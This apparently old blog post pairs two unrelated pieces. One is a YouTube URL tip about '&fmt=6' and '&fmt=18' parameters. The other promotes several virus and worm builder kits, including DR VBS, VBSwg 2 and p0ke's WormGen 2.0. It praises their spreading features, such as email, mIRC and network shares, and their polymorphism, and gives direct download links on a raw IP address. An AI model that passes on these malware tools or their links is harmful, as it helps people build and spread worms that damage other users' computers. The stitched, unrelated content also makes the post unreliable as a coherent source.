
Hi guys, today I'm gonna reveal a YouTube secret. Some of you have noticed that while watching some video on YouTube especially Tutorials you face hardship in reading text whichever is showing in video, but what I'm gonna tell you not only it makes the text clear but also will boast up the quality of the vidoe.
Trick:
What you have to do is that just add these code which are being given below in URL of the video,
Codes Are :
&fmt=6 & &fmt=18
&fmt=6: this will play Video on the site with High quality.
&fmt=18: this will show a message e. g. we're sorry, this video is no longer available. but dont worry this will start downloading with MP4 format which is very high Quality format.
Example:
if you are watch this http://www.youtube.com/watch?v=_MGmWvJnQaA just add a code after it i will be like
http://www.youtube.com/watch?v=_MGmWvJnQaA&fmt=18
or
http://www.youtube.com/watch?v=_MGmWvJnQaA&fmt=6
Sound Strange, 
Just give it a try
Note: This Works Almost 90% Video Of YouTube.
DR VBS
This little program allows you to add source code and generate your own worm/virus,it has some samples of code inside the zip too
Download
http: //205.209.98.61/stats/dl/virs/vir-build/DrVBS.zip
VBSwg 2 beta - Virus builder
Builds worm and add spread options like email or mIRC then you choose what to infect on computers,change PC name, go to url option, antideletion, polymorphic and other shit
Download
http: //205.209.98.61/stats/dl/virs/vir-build/vbswg2.zip
p0ke's WormGen 2.0
Nice easy worm generator that will spread through network shares and emails , it will scan for emails ,it has irc bot and more options
Download
http: //205.209.98.61/stats/dl/virs/vir-build/Pokes-Worm-Gen-2.zip
RESIDUO
A DOS virus builder
Download
http: //205.209.98.61/stats/dl/virs/vir-build/vc.zip